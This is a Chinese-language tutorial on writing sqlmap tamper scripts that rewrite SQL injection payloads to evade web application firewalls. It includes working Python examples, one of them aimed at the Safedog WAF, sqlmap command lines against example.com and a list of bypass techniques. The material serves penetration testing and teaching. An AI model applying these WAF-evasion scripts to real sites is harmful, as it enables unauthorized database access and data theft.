sqlmap tamper编写规则
字数 2073 2025-08-15 21:31:25
SQLMap Tamper脚本编写详解
1. SQLMap简介
SQLMap是一个开源的渗透测试工具,用于自动化检测和利用SQL注入漏洞,获取数据库服务器权限。它具有以下特点:
- 功能强大的检测引擎
- 支持多种数据库类型
- 可获取数据库中存储的数据
- 可访问操作系统文件
- 支持通过外带数据连接执行操作系统命令
2. Tamper脚本概述
Tamper脚本是SQLMap中用于绕过WAF(Web应用防火墙)的脚本集合,位于SQLMap安装目录的tamper文件夹中。
2.1 Tamper脚本作用
- 对SQL注入payload进行变形和编码
- 绕过特定WAF的检测规则
- 针对不同WAF提供专门的绕过技术
2.2 Tamper脚本特点
- 针对国内外常见WAF都有对应脚本(如360、绿盟、ModSecurity、百度、FortiWeb、Cloudflare等)
- 每个脚本专注于一种特定的绕过技术
- 可以组合使用多个Tamper脚本
3. Tamper脚本结构分析
以apostrophemask.py为例,分析Tamper脚本的基本结构:
3.1 基本结构
#!/usr/bin/env python
# 版权声明
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
# 脚本功能说明
# 参考链接
# 使用示例
return modified_payload
3.2 关键组件详解
-
Shebang行:
#!/usr/bin/env python- 指定使用env查找Python解释器路径
- 确保脚本可移植性
-
优先级设置:
__priority__- 定义脚本执行优先级
- 取值从
PRIORITY.LOWEST到PRIORITY.HIGHEST - 常用值:
LOWEST,LOWER,LOW,NORMAL,HIGH,HIGHER,HIGHEST
-
dependencies函数
- 用于声明脚本依赖关系
- 通常为空(pass)
-
tamper函数
- 核心函数,负责payload变形
- 参数:
payload: 原始SQL注入payload**kwargs: 其他参数字典
- 必须返回修改后的payload
4. Tamper脚本编写实例
4.1 简单示例:替换单引号
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
将单引号(')替换为UTF-8全角字符(%EF%BC%87)
示例:
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
return payload.replace("'", "%EF%BC%87") if payload else payload
4.2 复杂示例:绕过安全狗
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
绕过安全狗WAF
将空格(' ')替换为(/*|%20--%20|*/)
示例:
>>> tamper('SELECT id FROM users')
'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
"""
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in range(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "/*|%20--%20|*/"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "/*|%20--%20|*/"
continue
retVal += payload[i]
return retVal
4.3 代码解析
-
空格替换逻辑:
- 检测到空格时,替换为
/*|%20--%20|*/ - 这种形式结合了注释符和URL编码空格,可绕过许多WAF
- 检测到空格时,替换为
-
引号处理:
- 跟踪单引号和双引号的状态
- 在引号内的空格不进行替换,避免破坏SQL语法
-
逐个字符处理:
- 遍历payload中的每个字符
- 根据上下文决定是否替换
5. Tamper脚本编写技巧
5.1 常见绕过技术
-
字符编码:
- URL编码
- Unicode编码
- HTML实体编码
- 十六进制编码
-
注释插入:
- 使用
/**/、--、#等注释符号 - 将关键字拆分为注释包裹的形式
- 使用
-
大小写混合:
- 随机大小写(SELecT)
- 特定位置大写
-
空白符变形:
- 使用制表符、换行符代替空格
- 使用注释替代空格
-
等价替换:
AND→&&OR→||=→LIKE,IN,BETWEEN
5.2 开发建议
-
研究目标WAF:
- 了解其过滤规则
- 测试哪些字符和语法会被拦截
-
保持SQL有效性:
- 变形后的payload必须仍是有效SQL
- 特别注意引号和字符串的处理
-
模块化设计:
- 每个脚本专注于一种绕过技术
- 便于组合使用
-
充分测试:
- 在各种数据库上测试
- 测试不同SQL语句类型(SELECT, INSERT, UPDATE等)
6. Tamper脚本使用方式
6.1 基本使用
sqlmap -u "http://example.com/vuln.php?id=1" --tamper="apostrophemask.py"
6.2 组合多个Tamper脚本
sqlmap -u "http://example.com/vuln.php?id=1" --tamper="between.py,randomcase.py"
6.3 常用Tamper脚本
apostrophemask.py:替换单引号base64encode.py:Base64编码between.py:用NOT BETWEEN 0 AND #替换>randomcase.py:随机大小写space2comment.py:用注释替换空格equaltolike.py:用LIKE替换=
7. 高级主题
7.1 动态Tamper脚本
根据目标响应动态调整变形策略:
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
if "X-WAF-Detected" in headers:
# 根据WAF响应调整策略
return advanced_bypass(payload)
else:
return payload
7.2 机器学习辅助
利用机器学习模型预测最可能成功的变形方式:
def tamper(payload, **kwargs):
model = load_ml_model()
best_transform = model.predict(payload)
return apply_transform(payload, best_transform)
7.3 上下文感知变形
根据SQL上下文选择不同变形策略:
def tamper(payload, **kwargs):
if "SELECT" in payload.upper():
return select_transform(payload)
elif "UNION" in payload.upper():
return union_transform(payload)
else:
return default_transform(payload)
8. 最佳实践
-
代码清晰:
- 添加详细注释
- 包含使用示例
-
错误处理:
- 处理边界情况
- 确保不破坏原始payload
-
性能考虑:
- 避免复杂计算
- 尽量减少字符串操作
-
文档完整:
- 说明脚本用途
- 列出参考资源
- 提供变形示例
-
持续更新:
- 跟踪WAF规则变化
- 定期更新绕过技术
9. 总结
Tamper脚本是SQLMap强大功能的重要组成部分,通过编写高效的Tamper脚本可以显著提高SQL注入测试的成功率。掌握Tamper脚本编写技术需要:
- 深入理解SQL语法和注入技术
- 熟悉常见WAF的检测机制
- 掌握多种编码和变形技术
- 具备扎实的Python编程能力
- 保持对新型WAF的研究和学习
通过本文的详细讲解,您应该已经掌握了Tamper脚本的基本结构和编写方法,能够根据实际需求开发自己的绕过脚本。